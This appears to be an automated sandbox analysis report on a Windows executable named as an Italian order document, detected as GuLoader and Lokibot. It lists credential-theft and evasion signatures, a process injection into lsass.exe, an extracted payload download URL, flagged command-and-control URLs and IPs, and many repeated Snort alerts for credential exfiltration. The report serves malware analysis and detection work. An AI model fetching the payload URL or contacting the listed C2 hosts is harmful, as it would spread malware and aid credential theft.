Play interactive tour

Edit tour

Windows Analysis Report ORDINE + DDT A.M.F SpA.exe

Overview

General Information

Sample Name:	ORDINE + DDT A.M.F SpA.exe
Analysis ID:	528460
MD5:	f5423b7a89876044078cbb68db883af8
SHA1:	24c550c47d26090f298fea030d7fb890c94737a5
SHA256:	68a315123349444d30fed12643a7be20eb003531a4b95d0db800fb765449037d
Infos:
Most interesting Screenshot:

Detection

GuLoader Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Lokibot

Antivirus detection for URL or domain

GuLoader behavior detected

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Hides threads from debuggers

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

Enables debug privileges

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

PE / OLE file has an invalid certificate

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

ORDINE + DDT A.M.F SpA.exe (PID: 4632 cmdline: "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe" MD5: F5423B7A89876044078CBB68DB883AF8)

ORDINE + DDT A.M.F SpA.exe (PID: 8108 cmdline: "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe" MD5: F5423B7A89876044078CBB68DB883AF8)

lsass.exe (PID: 120 cmdline: C:\Windows\system32\lsass.exe MD5: 15A556DEF233F112D127025AB51AC2D3)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://fabricraft.co.za/Farmant_hhVNwJna195.bin"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.238039784452.0000000002270000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000008.00000000.238036448865.0000000000560000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ORDINE + DDT A.M.F SpA.exe PID: 8108	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Sigma Overview

System Summary:

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\lsass.exe, CommandLine: C:\Windows\system32\lsass.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\lsass.exe, NewProcessName: C:\Windows\System32\lsass.exe, OriginalFileName: C:\Windows\System32\lsass.exe, ParentCommandLine: "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe" , ParentImage: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe, ParentProcessId: 8108, ProcessCommandLine: C:\Windows\system32\lsass.exe, ProcessId: 120

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000002.00000002.238039784452.0000000002270000.00000040.00000001.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://fabricraft.co.za/Farmant_hhVNwJna195.bin"}

Multi AV Scanner detection for submitted file

Show sources

Source: ORDINE + DDT A.M.F SpA.exe

Virustotal: Detection: 21%

Perma Link

Antivirus detection for URL or domain

Show sources

Source: https://farmanat.ro/arman30/five/fre.php	Avira URL Cloud: Label: malware
Source: http://farmanat.ro/arman30/five/fre.php	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: farmanat.ro	Virustotal: Detection: 10%	Perma Link
Source: https://farmanat.ro/arman30/five/fre.php	Virustotal: Detection: 11%	Perma Link
Source: http://farmanat.ro/arman30/five/fre.php	Virustotal: Detection: 10%	Perma Link

Source: ORDINE + DDT A.M.F SpA.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown

HTTPS traffic detected: 197.242.150.64:443 -> 192.168.11.20:49816 version: TLS 1.2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.11.20:49817 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49817 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49817 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.11.20:49817 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49821 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49821 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49822 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49822 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49822 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49822 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49823 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49823 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49823 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49823 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49824 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49824 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49824 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49824 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49825 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49825 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49825 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49825 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49826 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49826 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49826 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49826 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49828 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49828 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49828 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49828 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49844 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49844 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49844 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49844 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49845 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49845 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49845 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49845 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49846 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49846 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49846 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49846 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49847 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49847 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49847 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49847 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49848 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49848 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49848 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49848 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49849 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49849 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49849 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49849 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49850 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49850 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49850 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49850 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49851 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49851 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49851 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49851 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49852 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49852 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49852 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49852 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49853 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49853 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49853 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49853 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49854 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49854 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49854 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49854 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49855 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49855 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49855 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49855 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49856 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49856 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49856 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49856 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49857 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49857 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49857 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49857 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49858 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49858 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49858 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49858 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49859 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49859 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49859 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49859 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49860 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49860 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49860 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49860 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49861 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49861 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49861 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49861 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49862 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49862 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49862 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49862 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49863 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49863 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49863 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49863 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49864 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49864 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49864 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49864 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49865 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49865 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49865 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49865 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49866 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49866 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49866 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49866 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49867 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49867 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49867 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49867 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49869 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49869 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49869 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49869 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49870 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49870 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49870 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49870 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49871 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49871 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49871 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49871 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49872 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49872 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49872 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49872 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49873 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49873 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49873 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49873 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49874 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49874 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49874 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49874 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49875 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49875 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49875 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49875 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49876 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49876 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49876 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49876 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49877 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49877 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49877 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49877 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49878 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49878 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49878 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49878 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49879 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49879 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49879 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49879 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49880 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49880 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49880 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49880 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49881 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49881 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49881 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49881 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49882 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49882 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49882 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49882 -> 176.223.209.128:80
